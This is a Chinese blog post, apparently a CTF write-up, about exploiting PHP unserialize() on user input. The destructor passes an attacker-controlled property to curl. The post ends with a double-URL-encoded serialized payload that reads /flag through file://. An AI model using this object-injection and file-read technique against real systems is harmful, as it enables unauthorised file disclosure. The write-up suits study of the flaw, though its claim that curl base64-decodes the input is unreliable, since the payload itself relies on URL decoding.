White's Blog.

反序列化与curl

字数统计: 260Reading time: 1 min
2019/08/10 Share

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

class Hello
{
protected $a;
function test() {
$b = strpos($this->a, 'flag');
if($b) {
die("Bye!");
}
$c = curl_init();
curl_setopt($c, CURLOPT_URL, $this->a);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($c, CURLOPT_CONNECTTIMEOUT, 5);
echo curl_exec($c);
}

function __destruct(){
$this->test();
}
}

if (isset($_GET["z"])) {
unserialize($_GET["z"]);
}
highlight_file(__FILE__);

分析:

看代码中的反序列化,构造a
在进行反序列化的时候会调用__destruct魔法函数
发现a是protected类型
$b = strpos($this->a, ‘flag’);
Strops函数要求不能出现flag

然后将a的参数给c来做curl请求。

做题的时候有几个思路:
第一需要protected类型要求反序列化时的格式会有所不同。
第二要绕过strpos要用到数组。
第三curl可以通过file协议读取任意文件

payload需要进行二次url编码,因为浏览器会进行一次url解码,接着curl也会进行一次base64解码,以此来绕过strpos()对flag的限制。

payload:

1
z=O%3A5%3A%22Hello%22%3A1%3A%7Bs%3A4%3A%22%00%2A%00a%22%3Bs%3A20%3A%22file%3A%2F%2F%2F%2566%256c%2561%2567%22%3B%7D

原文作者:White

发表日期:August 10th 2019, 7:45:00 pm

更新日期:November 7th 2019, 4:35:22 pm

CATALOG
  1. 1. 题目:
  2. 2. 分析:
  3. 3. payload: